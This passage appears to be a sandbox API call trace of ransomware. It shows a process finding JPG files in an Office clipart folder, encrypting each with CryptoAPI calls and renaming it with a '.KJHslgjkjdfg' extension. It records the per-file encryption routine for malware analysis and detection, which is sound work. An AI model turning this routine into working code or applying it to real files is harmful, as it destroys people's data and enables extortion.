[0213.598] GetProcessHeap () returned 0x2ef0000 [0213.598] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.598] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg.kjhslgjkjdfg")) returned 1 [0213.600] CloseHandle (hObject=0x130) returned 1 [0213.600] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x184d3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382938.JPG", cAlternateFileName="")) returned 1 [0213.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.602] GetProcessHeap () returned 0x2ef0000 [0213.602] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.602] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.602] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0213.606] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.606] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.606] GetProcessHeap () returned 0x2ef0000 [0213.606] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.606] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.606] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.606] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.606] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.606] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.607] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.607] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.607] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.607] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.607] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x184d3, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x184d3, lpOverlapped=0x0) returned 1 [0213.609] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x184e0, dwBufLen=0x184e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x184e0) returned 1 [0213.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.611] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x184e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x184e0, lpOverlapped=0x0) returned 1 [0213.611] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x185b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.611] SetEndOfFile (hFile=0x130) returned 1 [0213.615] GetProcessHeap () returned 0x2ef0000 [0213.615] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.615] GetProcessHeap () returned 0x2ef0000 [0213.615] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.615] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg.kjhslgjkjdfg")) returned 1 [0213.617] CloseHandle (hObject=0x130) returned 1 [0213.617] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1aba5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382939.JPG", cAlternateFileName="")) returned 1 [0213.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.618] GetProcessHeap () returned 0x2ef0000 [0213.618] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.618] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.618] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0213.620] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.620] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.620] GetProcessHeap () returned 0x2ef0000 [0213.620] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.620] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.620] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.621] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.621] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.621] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.621] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.621] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.621] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.621] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.621] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.621] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.621] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1aba5, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1aba5, lpOverlapped=0x0) returned 1 [0213.623] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1abb0, dwBufLen=0x1abb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1abb0) returned 1 [0213.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.625] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1abb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1abb0, lpOverlapped=0x0) returned 1 [0213.625] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ac84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.625] SetEndOfFile (hFile=0x130) returned 1 [0213.628] GetProcessHeap () returned 0x2ef0000 [0213.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.628] GetProcessHeap () returned 0x2ef0000 [0213.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.628] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg.kjhslgjkjdfg")) returned 1 [0213.629] CloseHandle (hObject=0x130) returned 1 [0213.630] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1653a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382942.JPG", cAlternateFileName="")) returned 1 [0213.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.632] GetProcessHeap () returned 0x2ef0000 [0213.632] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.632] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.632] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0213.634] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.634] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.634] GetProcessHeap () returned 0x2ef0000 [0213.634] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.635] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.635] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.635] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.635] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.635] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.635] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.635] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.635] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.635] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.636] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1653a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1653a, lpOverlapped=0x0) returned 1 [0213.638] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16540, dwBufLen=0x16540 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16540) returned 1 [0213.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.639] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16540, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16540, lpOverlapped=0x0) returned 1 [0213.639] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.639] SetEndOfFile (hFile=0x130) returned 1 [0213.643] GetProcessHeap () returned 0x2ef0000 [0213.643] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.643] GetProcessHeap () returned 0x2ef0000 [0213.643] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.643] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg.kjhslgjkjdfg")) returned 1 [0213.645] CloseHandle (hObject=0x130) returned 1 [0213.645] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e1d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382944.JPG", cAlternateFileName="")) returned 1 [0213.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.646] GetProcessHeap () returned 0x2ef0000 [0213.646] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.646] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.646] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.646] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x3, lpOverlapped=0x0) returned 1 [0213.648] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.649] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.649] GetProcessHeap () returned 0x2ef0000 [0213.649] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.649] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.649] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.649] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.649] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.649] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.649] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.649] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.649] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.649] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.650] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.650] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x13e1d, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x13e1d, lpOverlapped=0x0) returned 1 [0213.652] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13e20, dwBufLen=0x13e20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13e20) returned 1 [0213.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.653] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x13e20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x13e20, lpOverlapped=0x0) returned 1 [0213.653] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x13ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.653] SetEndOfFile (hFile=0x130) returned 1 [0213.657] GetProcessHeap () returned 0x2ef0000 [0213.657] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.657] GetProcessHeap () returned 0x2ef0000 [0213.657] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.657] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg.kjhslgjkjdfg")) returned 1 [0213.659] CloseHandle (hObject=0x130) returned 1 [0213.659] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, 